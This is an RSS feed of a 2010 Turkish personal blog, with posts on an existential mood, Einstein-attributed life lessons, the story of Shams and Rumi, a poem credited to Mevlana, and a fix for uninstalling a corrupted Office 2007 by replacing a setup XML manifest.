<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tunahan.net &#187; admin</title>
	<atom:link href="http://www.tunahan.net/author/admin/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.tunahan.net</link>
	<description>Tunahan H. MADEN Personal Page</description>
	<lastBuildDate>Thu, 01 Jul 2010 23:48:59 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>İçim tükendi</title>
		<link>http://www.tunahan.net/2010/07/02/icim-tukendi/</link>
		<comments>http://www.tunahan.net/2010/07/02/icim-tukendi/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 23:48:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Abuk Subuk]]></category>

		<guid isPermaLink="false">http://www.tunahan.net/?p=159</guid>
		<description><![CDATA[sanki bir rüyadayım, hiç var olmadım, hiç yaşamadım, bir gün uyanacağım bu rüyadan ve bildiğim gördüğüm her şeyin bir rüyadan ibaret olduğunu göreceğim. korkuyorum uyanmaktan, sevdiklerimi kaybetmekten. koşmaya çalışıyorum ama koşamıyorum, ayakta durmaya çalışıyorum ama yerimden kalkamıyorum bile. Bana öğüt veren, kendi düşünce ve fikirlerinde olmamı bekleyen ak sakallı dedeler çok, ama doğrusu yok. Belki de bu ben değilimdir, belki de tunahan diye biri yoktur. belki gerçekte adım ahmet, mehmet, kerim dir. belki çocuğumdur rüyamda büyüdüğümü görüyorum, belki yaşlıyımdır gençleştiğimi görüyorumdur. belki belki de hiç doğmamışımdır, annemin karnındayımdır henüz kim bilir.  Ama gerçek şu ki, sevdiklerim de olmasa çok sıkıldımmm bu rüyadan. gerçek olan ne, yalan olan ne bilemiyorum, göremiyorum... İçim tükendi...]]></description>
			<content:encoded><![CDATA[<p>sanki bir rüyadayım, hiç var olmadım, hiç yaşamadım, bir gün uyanacağım bu rüyadan ve bildiğim gördüğüm her şeyin bir rüyadan ibaret olduğunu göreceğim. korkuyorum uyanmaktan, sevdiklerimi kaybetmekten. koşmaya çalışıyorum ama koşamıyorum, ayakta durmaya çalışıyorum ama yerimden kalkamıyorum bile. Bana öğüt veren, kendi düşünce ve fikirlerinde olmamı bekleyen ak sakallı dedeler çok, ama doğrusu yok. Belki de bu ben değilimdir, belki de tunahan diye biri yoktur. belki gerçekte adım ahmet, mehmet, kerim dir. belki çocuğumdur rüyamda büyüdüğümü görüyorum, belki yaşlıyımdır gençleştiğimi görüyorumdur. belki belki de hiç doğmamışımdır, annemin karnındayımdır henüz kim bilir.  Ama gerçek şu ki, sevdiklerim de olmasa çok sıkıldımmm bu rüyadan. gerçek olan ne, yalan olan ne bilemiyorum, göremiyorum&#8230; İçim tükendi&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tunahan.net/2010/07/02/icim-tukendi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Albert Einstein ve 10 Yaşam Kuralı</title>
		<link>http://www.tunahan.net/2010/06/06/einstein-ve-10-yasam-kurali/</link>
		<comments>http://www.tunahan.net/2010/06/06/einstein-ve-10-yasam-kurali/#comments</comments>
		<pubDate>Sun, 06 Jun 2010 14:44:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Söz Konusu]]></category>
		<category><![CDATA[adamı]]></category>
		<category><![CDATA[Albert Einstein]]></category>
		<category><![CDATA[bilim]]></category>
		<category><![CDATA[kuralı]]></category>
		<category><![CDATA[meraklı]]></category>
		<category><![CDATA[on]]></category>
		<category><![CDATA[tutkulu]]></category>
		<category><![CDATA[yaşam]]></category>

		<guid isPermaLink="false">http://www.tunahan.net/?p=154</guid>
		<description><![CDATA[Albert Einstein çoğu insan tarafından dahi olarak görülür. Şu ana kadar yaşamış en etkili bilim insanı olmanın yanında teorik fizikçi, filozof ve yazardı. Bilime birçok katkı sağlamış Einstein’ın başarı sırlarını merak ediyor musunuz? İşte Einstein’dan 10 hayat dersi… ]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-155" title="Albert_Einstein_Head" src="http://www.tunahan.net/wp-content/uploads/2010/06/Albert_Einstein_Head-300x300.jpg" alt="Albert_Einstein_Head" width="300" height="300" />Albert Einstein çoğu insan tarafından dahi olarak görülür<span style="display: inline;">. Şu ana kadar yaşamış en etkili bilim insanı olmanın yanında teorik fizikçi, filozof ve yazardı. Bilime birçok katkı sağlamış Einstein’ın başarı sırlarını merak ediyor musunuz? İşte Einstein’dan 10 hayat dersi…</span></p>
<p>1. Merakınızın peşinden gidin<br />
‘Benim özel bir yeteneğim yok. Yalnızca tutkulu bir meraklıyım.’<br />
Sizin merakınızı çeken nedir? Neyi en çok merak ediyorsunuz? Benim merak ettiğim neden bazı insanların başarılı olup bazılarının olamadığıdır. Bu yüzden yıllarca başarı üzerine çalıştım. Merakınızın peşinden giderseniz başarıya ulaşırsınız.</p>
<p>2. Azim paha biçilmezdir<br />
‘Çok zeki olduğumdan değil, sorunlarla uğraşmaktan vazgeçmediğimden başarıyorum.’<br />
Belirlediğiniz yolun sonuna ulaşacak kadar sabırlı mısınız? Posta pullarının gideceği yere varasıya kadar mektuba yapışıp kalmasından ötürü çok değerli olduğu söylenir. Posta pulu gibi olun ve başladığınız işi bitirin.</p>
<p>3. Bugüne odaklanın<br />
‘Güzel bir kızı öperken düzgün araba kullanan birisi, öpücüğe hak ettiği dikkati vermiyor demektir.’<br />
İki atı aynı anda süremezsiniz. Bir şeyler yapabilirsiniz ama her şeyi yapamazsınız. Şimdiye odaklanın ve bütün enerjinizi şu anda yaptığınız işe verin.</p>
<p>4. Hayal gücü güç verir<br />
‘Hayal gücü her şeydir. Sizi bekleyen güzelliklerin önizlemesi gibidir. Hayal gücü bilgiden daha önemlidir.’<br />
Hayal gücünüz geleceğinizi belirler. Einstein şöyle der: ‘Zekanın gerçek göstergesi hayal gücüdür, bilgi değil’. Bu yüzden hayal gücünüzün hantallaşmasına izin vermeyin.’</p>
<p>5. Hata yapın<br />
‘Hiç hata yapmamış bir insan yeni bir şey denememiş demektir.’<br />
Hata yapmaktan korkmayın. Eğer nasıl okuyacağınızı bilirseniz hatalar sizi daha iyi bir konuma getirebilir. Başarılı olmak istiyorsanız yaptığınız hataları üçe katlayın.</p>
<p>6. Anı yaşayın<br />
‘Ben geleceği hiç düşünmem, ne de olsa gelecektir.’<br />
Geleceği ayarlamanın tek yolu olabilidiğiniz kadar şimdide olmaktır. Şu anda dünü ya da yarını değiştiremezsiniz. Önemli olan tek an şimdidir.</p>
<p>7. Değer yaratın<br />
‘Başarılı olmaya değil, değerli olmaya çalışın.’<br />
Zamanınızı başarılı olmak için harcamayın, değerler yaratın. Eğer değerli olursanız başarı kendiliğinden gelecektir.</p>
<p>8. Farklı sonuçlar beklemeyin<br />
‘Delilik: Aynı şeyleri tekrar tekrar yapıp farklı sonuçlar beklemek.’<br />
Hergün aynı rutinde yaşayarak farklı görünmeyi bekleyemezsiniz. Hayatınızın değişmesini istiyorsanız kendinizi değiştirmelisiniz.</p>
<p>9. Bilgi deneyimden gelir<br />
‘Bilgi malumat değildir. Bilmenin tek yolu deneyimlemektir.’<br />
Bir konuyu tartışabilirsiniz ama bu size sadece felsefi bir anlayış kazandırır. Bir konuyu bilmek istiyorsanız onu deneyimlemelisiniz.</p>
<p>10. Kuralları öğrenin, daha iyi oynayın<br />
‘Oyunun kurallarını öğrenmek zorundasınız. Böylece herkesten iyi oynayabilirsiniz.’</p>
<p>Yapmanız gereken iki şey var. Birincisi oynadığınız oyunun kurallarını öğrenmek. İkincisi ise oyunu herkesten iyi oynamayı istemek. Bu iki şeyi yaparsanız başarı sizinle olur!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tunahan.net/2010/06/06/einstein-ve-10-yasam-kurali/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Şems-Mevlana Buluşması</title>
		<link>http://www.tunahan.net/2010/06/06/sems-mevlana-bulusmasi/</link>
		<comments>http://www.tunahan.net/2010/06/06/sems-mevlana-bulusmasi/#comments</comments>
		<pubDate>Sun, 06 Jun 2010 08:11:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Söz Konusu]]></category>

		<guid isPermaLink="false">http://www.tunahan.net/?p=150</guid>
		<description><![CDATA[Mevlana Celaleddin, babası Bahaeddin Veled vefat edince, babasının eski şakirdi Seyyid Burhaneddin'e mürit olmuştu. "İşte Tırmızli sırlar bilici Burhaneddin, Mevlana'nın böyle müşkül bir yalnızlığında çıkagelmişti. Çıkagelmiş değil de sanki 'gayb' tarafından Mevlana'yı irşada görevlendirilmişti. Ona tam dokuz yıl mürşidlik etmiş, onu hemen tutuşmaya hazır bir çıra haline getirmiş ve o ahval içinde zuhur eden Tebrizli Şems'e devretmek üzere Konya'dan ayrılıp Kayseri'ye gitmişti." (Kabaklı, a.g.e. sayfa 26)
]]></description>
			<content:encoded><![CDATA[<p>Mevlana Celaleddin, babası Bahaeddin Veled vefat edince, babasının eski şakirdi Seyyid Burhaneddin&#8217;e mürit olmuştu. &#8220;İşte Tırmızli sırlar bilici Burhaneddin, Mevlana&#8217;nın böyle müşkül bir yalnızlığında çıkagelmişti. Çıkagelmiş değil de sanki &#8216;gayb&#8217; tarafından Mevlana&#8217;yı irşada görevlendirilmişti. Ona tam dokuz yıl mürşidlik etmiş, onu hemen tutuşmaya hazır bir çıra haline getirmiş ve o ahval içinde zuhur eden Tebrizli Şems&#8217;e devretmek üzere Konya&#8217;dan ayrılıp Kayseri&#8217;ye gitmişti.&#8221; (Kabaklı, a.g.e. sayfa 26)</p>
<p>Seyyid Burhaneddin Tırmızi&#8217;nin Kayseri&#8217;ye gittikten sonra henüz bir yıl geçmemişken vefat etmesi üzerine, Mevlana Celaleddin beş sene sürecek bir yalnızlık ve bekleyiş devresine girmişti. Ne var ki bu özlem dolu yalnızlık, çok mutlu bir sonla noktalanacak, 1244&#8242;te Şems-i Tebrizi&#8217;nin Konya&#8217;ya gelmesiyle bitmiş olacaktı. (Bkz. Vakkasoğlu, Vehbi, Önce Alkışladılar Sonra Öldürdüler, İstanbul, 2001, s. 101) Fakat Konya&#8217;daki bu ilk buluşmadan daha evvel bir rivayete göre Mevlana 30 yaşında iken, Şam&#8217;da acayip kıyafetli bir adam onun yanına gelerek elini öpmüş ve &#8220;Alemin sarrafı beni tanı&#8221; dedikten sonra birden bire kalabalığın içine karışıp kaybolmuştur. (Bkz. Alkan, Ercan, İki Deniz, Keşkul, Haziran, 2004, sayı 1, s. 22)</p>
<p>Nihayet 1244 Ekimi yani 26 Cemaziyelahir, 642 tarihinde Mevlana, 38 Şems 60 yaşında iken Konya&#8217;daki ilk karşılaşmaları gerçekleşir. Artık beklenen zaman gelmiş ve kaderin önceden örülmüş tuğlaları zahirde de yerli yerine oturmaya başlamıştır. Başka bir ifade ile yanmak üzere hazırlanmış aşk çırası, Şems&#8217;in ateşiyle buluşmuştur. Konya&#8217;daki bu ilk karşılaşmalarında aralarında şöyle bir diyalog geçer:</p>
<p>&#8220;Şems: Hz Muhammed mi büyüktür Bayezid-i Bistami mi?</p>
<p>Mevlana: Elbette Muhammed (a.s.) bütün enbiya ve evliyanın büyüğüdür.</p>
<p>Şems: Peki ama Hz Muhammed: &#8220;Yarabbi seni tenzih ederim. Biz seni gereğince bilemedik. Sana günde yetmiş kere istiğfar ederim&#8221; buyurduğu halde Bayezid: &#8220;Kendimi noksan sıfatlardan arıtırım. Makamım ne kadar yüce ki cübbemin içinde Allah&#8217;tan gayrı varlık yok&#8221; demektedir buna ne buyrulur.</p>
<p>Mevlana: Bu tabiidir. Çünkü Allah&#8217;ın mahbubu Muhammed (a.s.) günde yetmiş makam aşıyor ve ulaştığı her makamda önceki bilgisinden istiğfar ediyor. &#8220;Ey bizim idrakimizden üstün olan Allah biz Seni gereğince bilemedik&#8221; diyordu. Bayezid ise bir makam aştı, bir tecelli ile kendinden geçti. Daha fazlasına eremediği için taştı ve öyle yerli yersiz söylendi.&#8221; (Kabaklı, a.g.e., s. 30,31)</p>
<p>Bu karşılaşmayla Mevlana ve Şems arasındaki dostluğun temelleri atılmış oldu. Mevlana, Şems Konya&#8217;ya geldikten sonra artık dersi ve vaazı bırakmış, onun emriyle semaya koyulmuş, şiir söylemeye başlamıştı. Söylediği şiirler ise, görüntüde din sınırlarını adamakıllı aşmaktaydı. Bu durum karşısında Mevlana&#8217;nın sevenleri kıskançlık gösteriyor, Şems&#8217;in büyü ve telkin ile onu yoldan çıkardığını düşünüyorlardı. Şems&#8217;in sohbetlerinde bulunanlar, bu coşkun erin sözlerine asla tahammül edemiyorlardı. Bütün bunlar Mevlana&#8217;yı yoldan çıkaran, belki de onlarca dinsiz imansız eden Şems&#8217;in aleyhine bir cereyan meydana getirmişti. Fakat Şems-i Tebrizî onların davranışlarına hiç aldırmıyor, art arda pervasızca tok sözlerini sarf etmeye devam ediyordu. Özellikle de Mevlana&#8217;nın eski çevresine karşı kırıcı ve hırçın davranışlar sergiliyordu. Aşk ve cezbe haline giren Mevlana ise, Şems&#8217;i etrafındaki herkese üstün tuttuğunu söylüyor ve onun dostluğunu hiçbir şeye değişemeyeceğini çeşitli ortamlarda defalarca dile getiriyordu. Hatta Şems&#8217;i kötülemek için kendisine gelenlere de gücenmekteydi. (Bkz. Gölpınarlı, a.g.e. s. 13; Kabaklı, a.g.e. s. 42, 43)</p>
<p>Anlaşılan odur ki, Mevlana Şems&#8217;ten sonra hayli değişmiştir fakat bu değişimin bir anda olduğu söylenemez. Sezai Karakoç bu &#8220;değişim&#8221; konusunda şöyle söylemektedir: &#8220;Kimileri sanır ki Mevlana&#8217;da belli bir andan sonra ansızın büyük bir değişiklik olmuş, birden bire olduğundan bambaşka bir Mevlana doğmuştur. Oysa hiç bir değişim ve oluşum birden bire olmaz. Derinlerde görünmeyen planda, yavaş ve uzun bir hazırlanma dönemi olur. Bir deprem gibi. Biz sanırız ki deprem ansızın olur.&#8221; (Karakoç, Sezai, Mevlana, İstanbul, 1999, s. 20)</p>
<p>Mevlana&#8217;daki değişim beraberinde birçok problemleri de getirmişti. Zira Mevlana&#8217;nın etrafında Güneş&#8217;i kıskanan müritleri bulunmaktaydı ve onlar istiyordu ki Güneş sadece kendilerine ışık versin. Oysa Güneş herkesi aydınlatmaya yeterdi. Derken günler geceleri kovalıyor ve Konya&#8217;daki Şems aleyhtarlığı giderek artıyordu. Mevlana&#8217;nın oğlu Sultan Veled, Şems&#8217;e karşı oluşan Konya&#8217;daki nefret tufanını ve olumsuz propaganda cereyanını &#8220;İbtida Name&#8221;de şöyle anlatır: &#8220;Hepsi de kınamaya koyuldu. Gerçekten haberi olmayan ve bir sürüye benzeyen o müritler birbirlerine; neden şeyhimiz, onun gibi birisine kapılsın da bizden yüz çevirsin? Hepimiz kişizadeyiz, ona kuluz, köleyiz, aşığız. Bizce onun Tanrı mazharı olduğunda şüphe yok, ondan birçok keremler gördük. Gördüklerimizi, az kişi görmüştür. Her kulak öyle sözler duyamaz. Doğan kuşu gibi avlandık, ona birçok avlar getirdik. Mevlana, bizim yüzümüzden tanındı. Dostu sevindi, düşmanı kahroldu. Bu böyleyken kim oluyor bu Şemseddin ki şeyhimiz, ona alındı, yüzümüze bile bakmıyor. Artık yüzünü göremez olduk. Büyücü müdür nedir? Sihirle kendisini şeyhe sevdirdi. Ne aslı belli ne nesli&#8230; Nereli olduğunu bile layığıyla bilmiyoruz. Halk vaazdan mahrum oldu, kutlu talihimiz döndü diyorlardı. Bazen Şemseddin&#8217;i gördükçe kılıçlarına el atıyor, yüzüne karşı sövüyorlardı. Hepsi Şemseddin&#8217;in Konya&#8217;dan gitmesini yahut ölmesini bekliyordu.&#8221; (Gölpınarlı, a.g.e., s. 13,14)</p>
<p>Şems, kendisine karşı oluşan nefretin Konya&#8217;da yayılması üzerine 15 Şubat 1246&#8242;da Mevlana&#8217;ya haber vermeden ansızın ortadan kayboldu. Bu sefer de hicran ateşi ile yanıp kavrulan Mevlana, ayrılığın acısıyla inlemeye başlamıştı. Böylece şairliğinin de yakıcı devresine girmiş oldu. Derken bir gün, bu acıya su serpecek bir mektup geldi, mektup Şems&#8217;ten gelmekteydi. Şam&#8217;da olduğu anlaşılan Şems&#8217;e bir mektup da Mevlana yazdı ve mektubu oğlu Sultan Veled&#8217;e vererek ona gönderdi. Uğurlarken de oğluna &#8220;Git onu çağır, kendisini incitenler çoktan pişman oldular, ben ise yokluğuna dayanamıyorum. Lütfetsin gelsin artık&#8221; diye söylemişti.</p>
<p>Sultan Veled mektubu yerine ulaştırdı ve Şems&#8217;i de alarak Konya&#8217;ya geri döndü. 8 Mayıs 1247 tarihinde Şems&#8217;in Konya&#8217;ya dönüşüyle Mevlana&#8217;nın hasret gözyaşları dinmiş ve yerini sevinç gözyaşlarına bırakmıştı. Acı dolu o ayrılık günleri artık geride kalmıştı fakat ne yazıktı ki bu kavuşma anı çok uzun sürmeyecekti. Çünkü Şems&#8217;e karşı kurulan kin ve nifak kazanları, yeniden kaynatılmaya başlanmıştı. (Bkz. Kabaklı, a.g.e., s. 43, 44)</p>
<p>Şemsin ikinci kayboluşu ise birincisinden çok daha muammalıdır. Onun sırrolması konusunda çok değişik rivayetler olmakla birlikte Şems&#8217;in nasıl kaybolduğu konusu halen gizemini sürdürmektedir. Sultan Veled&#8217;in İbtida Name&#8217;sinde ve Eflaki&#8217;nin Menakib&#8217;ül Arifin&#8217;de bu konudaki bazı rivayetlere yer verilmiştir.</p>
<p>Kaynaklar incelendiğinde bu esrarengiz kayboluşun kesin olmamakla birlikte şöyle gerçekleşmiş olabileceği düşünülmektedir: &#8220;Bir gece Mevlana ile otururken, dışarıdan biri onu çağırdı. Şems kendisini katle davet ettiklerini söyleyerek çıktı. Dışarıda pusu kurulmuştu. Bıçak üşürerek öldürmek istediler, lakin Şems bir nara atınca, içlerinde Mevlana&#8217;nın ortanca oğlu Alaaddin de bulunan o cemaat bihuş oldular; akılları başlarına geldiği zaman yerde birkaç damla kan gördüler. Ondan sonra bir daha Şems&#8217;in izi bulunamadı.&#8221; (Vakkasoğlu, a.g.e., s. 102)</p>
<p>Gölpınarlı ise olayı şöyle anlatır: &#8220;1247 yılı Aralık ayının beşinci Perşembe günü, İçlerinde Mevlana&#8217;nın oğlu Alaaddin&#8217;in de bulunduğu yedi kişi, Şems&#8217;e bir pusu kurdular; onu öldürüp cesedini battal bir kuyuya attılar. Sonradan bunu duyan Sultan Veled bir gece bazı dostlarıyla gidip cesedi kuyudan çıkardı.&#8221; (Gölpınarlı, a.g.e., s. 15)</p>
<p>&#8220;Mevlana Şemseddin&#8217;i inciten bu küçük oğlunu affedememişti. Küskünlük ve nefretinin ne kadar uzun sürüldüğüne bakılsın ki, Şems&#8217;in vefatından on beş yıl sonra 1262&#8242; de ölen Alaaddin&#8217;in cenazesinde bulunmamış, namazını da kılmamıştı. Eflaki; Ancak ölümünden bir hayli sonra oğlunun mezarı başına gittiğini, kireçle sıvanmış kabri üzerine &#8220;Yarabbi! Senden yalnız iyilik sahipleri kerem umarsa; / Mücrim olanlar kime dayansın, kime sığınsın?&#8221; diye Arapça bir beyit yazdığını ayrıca &#8216;Mana aleminde Şemseddin&#8217;i gördüm, Alaaddin ile barıştı onu bağışladı. O da rahmete kavuşanlar arasına girdi&#8217; dediğini nakletmektedir.&#8221; (Kabaklı, a.g.e., s. 36)</p>
<p>Mevlana ve Şems ikilisinin birbirine olan bağlılıkları o dereceye ulaşmıştır ki, Şems&#8217;in vefatından sonra yaşanan şu olay bunu en güzel şekilde ortaya koyar: &#8220;Bir gün Mevlana&#8217;ya birisi &#8216;Şems&#8217;i gördüm&#8217; diye haber verir. Bu haberden sonra Mevlana üstünde bulunan feraceyi ona bağışlar. Hizmetinde bulunan kimseler bu şahsın yalan söylediğini, böyle bir şeyin olmasının imkânsızlığını her ne kadar belirtirlerse de Hazreti Mevlana &#8216;Bu Feraceyi onun söylemiş olduğu yalana bağışlıyorum. Şayet dosttan doğru bir haber getirmiş olsaydı canımı bile verirdim&#8217; diye mukabelede bulunur.&#8221; (Alkan, a.g.e., s. 24)</p>
<p>Şems&#8217;in bu hazin kayboluşu sadece Mevlana&#8217;yı hüzünlere gark etmemiş, asırlar sonrasında yaşayan sevenlerinin de içlerinin oyulmasına neden olmuştu. Bu esrarengiz veliyi hiç görmedikleri halde seven birçok insanı da acı ile karışık bir düşünme evresine sevk etmişti. Neticede sırroluşunun mahiyeti her ne olursa olsun, onu Mevlana ile buluşturan da, ondan ayıran ve muammalı bir şekilde kaybolmasına sebep olan da kader ipini elinde tutan Cenab-ı Mevla&#8217;ydı. Bu hikâye burada bitmeyecek, bu ayrılık böyle yarım kalmayacaktır. Belki de bambaşka bir ortamda, bambaşka bir şekilde neşeli bir kavuşma ile nihayetlenecektir.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tunahan.net/2010/06/06/sems-mevlana-bulusmasi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mevlana</title>
		<link>http://www.tunahan.net/2010/06/06/mevlana/</link>
		<comments>http://www.tunahan.net/2010/06/06/mevlana/#comments</comments>
		<pubDate>Sun, 06 Jun 2010 08:07:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Söz Konusu]]></category>

		<guid isPermaLink="false">http://www.tunahan.net/?p=147</guid>
		<description><![CDATA[Sana hayatındaki sorunlar, şüpheler veya korkularınla ilgili çözümler sunamam.
Ama seni dinleyebilirim ve beraber cevapları araştırabiliriz.

Geçmişini, acılarını ve hayal kırıklıklarını değiştiremem, ne de gelecekte olacakları.
Ama yardım etmek için yanında olabilirim.]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-148" title="mevlana" src="http://www.tunahan.net/wp-content/uploads/2010/06/mevlana-223x300.png" alt="mevlana" width="223" height="300" />Sana hayatındaki sorunlar, şüpheler veya korkularınla ilgili çözümler sunamam.<br />
Ama seni dinleyebilirim ve beraber cevapları araştırabiliriz.</p>
<p>Geçmişini, acılarını ve hayal kırıklıklarını değiştiremem, ne de gelecekte olacakları.<br />
Ama yardım etmek için yanında olabilirim.</p>
<p>Ayağının kaymasını engelleyemem.<br />
Ama düşmemen ve tutunman için sana elimi uzatabilirim.</p>
<p>Eğlencelerin, zaferlerin, başarıların ve Mutluluğun benim değil.<br />
Ama bunları neşe içinde seninle paylaşabilirim.</p>
<p>Hayatta yapman için aldığın kararlar benim değil, yargılarında.<br />
Ama sana destek olabilir, cesaret verebilir ve istediğinde yardım edebilirim.</p>
<p>Yollarımızın, değerlerimizin, ikimizin ayrı düşmesini Engelleyemem.<br />
Ama senin için dua edebilir, seninle konuşabilir ve tartışabilirim.</p>
<p>Kalbinin kırılmasını ve acı çekmeni önleyemem.<br />
Ama seninle birlikte ağlayabilir, kırık parçaları toplamak ve yerine koymak için yardım edebilirim.</p>
<p>Sana kim olduğunu söyleyemem.<br />
Ama senin kardeşin ve DOSTun olabilirim..</p>
<p><strong>Mevlana</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tunahan.net/2010/06/06/mevlana/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Office 2007 Kaldırma Yöntemi</title>
		<link>http://www.tunahan.net/2010/03/28/office-2007-kaldirma-yontemi/</link>
		<comments>http://www.tunahan.net/2010/03/28/office-2007-kaldirma-yontemi/#comments</comments>
		<pubDate>Sun, 28 Mar 2010 05:56:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bilgisayar Gezegeni]]></category>
		<category><![CDATA[Bozuk]]></category>
		<category><![CDATA[Kaldıramıyorum]]></category>
		<category><![CDATA[Kaldırma]]></category>
		<category><![CDATA[Office 2007]]></category>
		<category><![CDATA[Sorunu]]></category>

		<guid isPermaLink="false">http://www.tunahan.net/?p=142</guid>
		<description><![CDATA[Office 2007 kurdunuz, daha sonra office belgelerini açtığınızda belgelerinizin Uyumluluk Modu'nda açıldığını ve verileri değiştirmeyi denediğinizde "dosya kilitli olduğundan değiştirmenize izin verilmiyor" diye uyarı vermeye başladı. Sizde Office'i kaldırıp yeniden kurmak istiyorsunuz ve kaldırmaya çalıştığınızda "kurulum, yüklenabilecek herhangi bir ürün bulunamadı" veya "bozuk dosya kurulumu, düzgün bir biçimde kurduğunuzdan emin olun" diye bir uyarı verdi ve artık kaldıramıyorsunuz da. Aslında kaldırmanın bir yöntemi var.

Devamını Okuyun]]></description>
			<content:encoded><![CDATA[<p>Office 2007 kurdunuz, daha sonra office belgelerini açtığınızda belgelerinizin Uyumluluk Modu&#8217;nda açıldığını ve verileri değiştirmeyi denediğinizde &#8220;dosya kilitli olduğundan değiştirmenize izin verilmiyor&#8221; diye uyarı vermeye başladı. Sizde Office&#8217;i kaldırıp yeniden kurmak istiyorsunuz ve kaldırmaya çalıştığınızda &#8220;kurulum, yüklenabilecek herhangi bir ürün bulunamadı&#8221; veya &#8220;bozuk dosya kurulumu, düzgün bir biçimde kurduğunuzdan emin olun&#8221; diye bir uyarı verdi ve artık kaldıramıyorsunuz da. Aslında kaldırmanın bir yöntemi var.</p>
<p>Bilgisayarım&#8217;a tıklayın ve  C:\Program Files\Common Files\microsoft shared\OFFICE12\Office Setup Controller  içindeki Proof.en ve Proof.tr klasörlerinin içindeki XML belgelerini not defteri ile açın, metni tamamiyle silin ve aşağıdaki metni oraya kopyalayıp kaydedin. Eğer Windows7 veya Vista kullanıyorsanız izin vermeyebilir. İzin vermediği takdirde XML üzerinde sağa tıklayıp özellikler, Ordan gücenlik, Ordan Users&#8217;in yetki izinlerine full yetki verin ve onaylayın.  XML değişikliklerini yaptıktan sonra sorun çözülmüştür. Şimdi kaldırmayı tekrar deneyebillirsin&#8230;</p>
<p><span id="more-142"></span></p>
<blockquote><p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;utf-8&#8243;?&gt;<br />
&lt;!&#8211;_SIG=o6qjGNt0P98N1PiQH9LsdM+Qxxa1LCTungnlKXKQoI5nvd6KPOCpdGSjKqZWUT3QX4ujQaKWPsv+xPdzxq7T/m3qICTZI7PQLxERc//iRCuf3cebwwnQpV8g65Edqv0KqNPn/pTBBIx8i38l1WMw23Wpo7oOwICsJy2BF2dx2n8=&#8211;&gt;<br />
&lt;Package Id=&#8221;Proof.en-us&#8221; Type=&#8221;MSI&#8221; Path=&#8221;Proof.MSI&#8221; Version=&#8221;1.0&#8243; ProductCode=&#8221;{90120000-001F-0409-0000-0000000FF1CE}&#8221; MSIVersion=&#8221;12.0.4518.1014&#8243; Platform=&#8221;x86&#8243;&gt;<br />
&lt;Feature Id=&#8221;FindAllWordFormsFiles_1033&#8243; Cost=&#8221;500643&#8243;&gt;<br />
&lt;OptionRef Id=&#8221;FindAllWordFormsFiles_1033&#8243;/&gt;<br />
&lt;/Feature&gt;<br />
&lt;Feature Id=&#8221;Gimme_OnDemandData&#8221; Cost=&#8221;0&#8243;&gt;<br />
&lt;OptionRef Id=&#8221;Gimme_OnDemandData&#8221;/&gt;<br />
&lt;/Feature&gt;<br />
&lt;Feature Id=&#8221;SpellingAndGrammarFiles_1033&#8243; Cost=&#8221;39828097&#8243;&gt;<br />
&lt;OptionRef Id=&#8221;SpellingAndGrammarFiles_1033&#8243;/&gt;<br />
&lt;/Feature&gt;<br />
&lt;Feature Id=&#8221;ThesaurusFiles_1033&#8243; Cost=&#8221;2754660&#8243;&gt;<br />
&lt;OptionRef Id=&#8221;ThesaurusFiles_1033&#8243;/&gt;<br />
&lt;/Feature&gt;<br />
&lt;Feature Id=&#8221;MsoInstalledPackagesScopedIntl_1033&#8243; Cost=&#8221;0&#8243;&gt;<br />
&lt;OptionRef Id=&#8221;AlwaysInstalled&#8221;/&gt;<br />
&lt;/Feature&gt;<br />
&lt;Feature Id=&#8221;HyphenationFiles_1033&#8243; Cost=&#8221;232281&#8243;&gt;<br />
&lt;OptionRef Id=&#8221;HyphenationFiles_1033&#8243;/&gt;<br />
&lt;/Feature&gt;<br />
&lt;Feature Id=&#8221;OCR_1033&#8243; Cost=&#8221;9112900&#8243;&gt;<br />
&lt;OptionRef Id=&#8221;OCR_1033&#8243;/&gt;<br />
&lt;/Feature&gt;<br />
&lt;Feature Id=&#8221;SetupControllerFiles&#8221; Cost=&#8221;1248&#8243;&gt;<br />
&lt;OptionRef Id=&#8221;AlwaysInstalled&#8221;/&gt;<br />
&lt;/Feature&gt;<br />
&lt;Feature Id=&#8221;SetupXmlFiles&#8221; Cost=&#8221;1248&#8243;&gt;<br />
&lt;OptionRef Id=&#8221;AlwaysInstalled&#8221;/&gt;<br />
&lt;/Feature&gt;<br />
&lt;/Package&gt;</p></blockquote>
<p><!--more--></p>
<p>Kolay Gelsin.</p>
<p> </p>
<p>P.S. Kaynak:  <a href="http://forum.donanimhaber.com/m_13212899/tm.htm#msglink_13224911">http://forum.donanimhaber.com/m_13212899/tm.htm#msglink_13224911</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tunahan.net/2010/03/28/office-2007-kaldirma-yontemi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
